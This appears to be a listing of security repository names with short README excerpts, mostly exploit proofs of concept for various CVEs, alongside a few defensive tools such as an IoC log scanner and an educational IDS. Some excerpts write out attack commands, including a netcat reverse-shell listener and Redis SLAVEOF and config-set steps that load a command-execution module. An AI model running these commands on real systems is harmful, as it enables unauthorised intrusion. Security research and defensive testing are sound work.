LlamaStack-RCE-Deterministic-Supply-Chain-Exploitation-Hardening-Framework-CVE-2024-50050-

= doi.org/10.5281/zenodo.18278567 = orcid.org/0009-0007-7728-256X 💀 LlamaStack-RCE: CVE-2024-50050 Supply Chain Exploitation Framework UNRESTRICTED CLASSIFIED MATERIAL - FOR AUTHORIZED RED TEAMING ONLY 1. Executive Summary Deterministic Analysis LlamaStack-RCE is a high-fidelity simulation and...

CVE-2021-40438-POC

Note: Intended only for educational and controlled testing purposes. Only test on systems you have permission to assess. CVE-2021-40438 - SSRF Exploit ░█▀▀░█░█░█▀▀░░░░░▀▀▄░▄▀▄░▀▀▄░▀█░░░░░░█░█░▄▀▄░█░█░▀▀█░▄▀▄ ░█░░░▀▄▀░█▀▀░▄▄▄░▄▀░░█/█░▄▀░░░█░░▄▄▄░░▀█░█/█░░▀█░░▀▄░▄▀▄...

CVE-2017-0199

Exploit toolkit CVE-2017-0199 Exploit toolkit CVE-2017-0199 is a handy python script which provides pentesters and security researchers a quick and effective way to test Microsoft Office RCE. It could generate a malicious RTF/PPSX file and deliver metasploit / meterpreter / other payload to victi...

CTF-Web-Exploitation

Nether Portal Desync HUUP "I travel not on established roads but leap freely across the void. Package me wrong, and I'll deliver a secret to the wrong doorstep." Description The challenge features an HTTP/3 QUIC application layered over UDP. Because UDP is stateless and the proxy doesn't enforce...

cve-2023-4966-iocs

Scan for CVE-2023-4966 IoCs Script: check-cve-2023-4966.py The script searches the Citrix NetScaler logs for possible CVE-2023-4966 exploitation. Usage usage: check-cve-2023-4966.py -h --nologline logdirpath Python script to check CitrixNetScaler logs for possible CVE-2023-4966 exploitation...

Intrusion-Alert-Educational-Network-IDS

🛡️ Intrusion-Alert-Educational-Network-IDS A lightweight Intrusion Detection System IDS built with Python to monitor network traffic and detect potential DoS/DDoS attacks based on request rate per IP. 📌 Features 📡 Real-time packet sniffing using Scapy 📊 Tracks number of requests per IP address 🚨...

CVE-2023-20198

CVE-2023-20198 Check a target IP for CVE-2023-20198 python main.py TARGETIP...

slmail-exploit

These Python scripts are for educational purposes only! ⚫ Example of use: python exploit.py 192.168.0.100 ip victm DO NOT FORGET TO OPEN THE DOOR IN YOUR MACHINE...

CVE-2024-48990-PoC

CVE-2024-48990-PoC What is needrestart and how does it work? Needrestart is a widely used utility on Linux systems default on many Ubuntu versions that checks after a software update whether any service or the system itself needs to be restarted. By analyzing running processes, it determines if...

CVE-2025-30208-ViteVulnScanner

CVE-2025-30208-ViteVulnScanner Yo, this is a dope multi-threaded Python script by keklick1337 to hunt down domains vulnerable to CVE-2025-30208 in Vite. Basically, it checks if you can snag random files via the @fs endpoint with ?raw?? or ?import&raw?? — think /etc/passwd leaks and other juicy...

mi-x

Am I Exploitable? Author: 2022 - Now, Rezilion Description: Vulnerabilities validation Development: January 2022 - Now Documentation: See website, README Introduction Description ‘Am I Exploitable?’ is a python open source project that comes to meet the need of validating if your system is...

CVE-2022-4616-POC

CVE-2022-46169 Pseudo Shell Description This Python script serves as a helper tool to streamline the process of exploiting the CVE-2022-46169 vulnerability. It starts an HTTP server that listens for incoming requests and provides a simple interface for the user to input commands. These commands a...

Redis-RCE

Redis-RCE remote code execute for redis4 and redis5 python code from https://github.com/Ridter/redis-rce 通过加载so文件，扩展新命令system.exec进行 命令执行成功 strings explin.so |grep sys system system.exec syserrlist.h sysnerr syserrlist syssiglist system.exec 0x01 SLAVEOF 192.168.2.18 8989 0x02 config set dir /tmp...

CVE-2024-47167-Environment-Setup

Components: 1. gradiocontainer: hosts internal HTTP server on port 5678 2. targetinternalserver: launches a python app using vulnerable version of gradio 4.40.0...

vsFTPd-2.3.4-Exploit

vsFTPd 2.3.4 Exploit Python Proof of Concept for the vsFTPd 2.3.4 backdoor — CVE-2011-2523 Description vsFTPd Very Secure FTP Daemon is an FTP server commonly used on Unix-like systems. The vsFTPd 2.3.4 release distributed in 2011 was compromised with a malicious backdoor. This was not a normal...

CVE-2018-2628

weblogic getshell Optimized based on scripts from predecessors to make the code run in Python 3. Mainly on Windows. Reference Links https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2018-2628/README.zh-cn.md https://github.com/0xMJ/CVE-2018-2628 weblogic getshell Test for Vulnerability...

CVE-2025-32433-exploit

CVE-2025-32433-exploit rlwrap -cAr nc -lnvp 4444 python3 exploit.py...

CVE-2022-25765

CVE-2022-25765 — pdfkit PoC for CVE-2022-25765 , affecting vulnerable versions of pdfkit. Tested with pdfkit 0.8.6. Requirements Python 3.x requests colorama Install dependencies: pip3 install -r requirements.txt Or manually: pip3 install requests colorama Usage python3 exploit2.py -u -l -p...

URL_CHECKER

URL Phishing Checker A lightweight, web-based tool that detects whether a URL is likely phishing or safe using a hybrid approach of Machine Learning Random Forest/SVM and heuristic rule-based analysis. Built for educational purposes and experimentation in cybersecurity and applied AI. Overview...

CVE-2026-39987

⚠️ CVE-2026-39987 — Unauthenticated Shell in marimo 0.23.0 A reactive Python notebook tool gave attackers a full shell in one WebSocket request. 📌 Overview CVE-2026-39987 is a critical pre-auth RCE vulnerability in marimo — a popular open-source reactive notebook for Python modern Jupyter...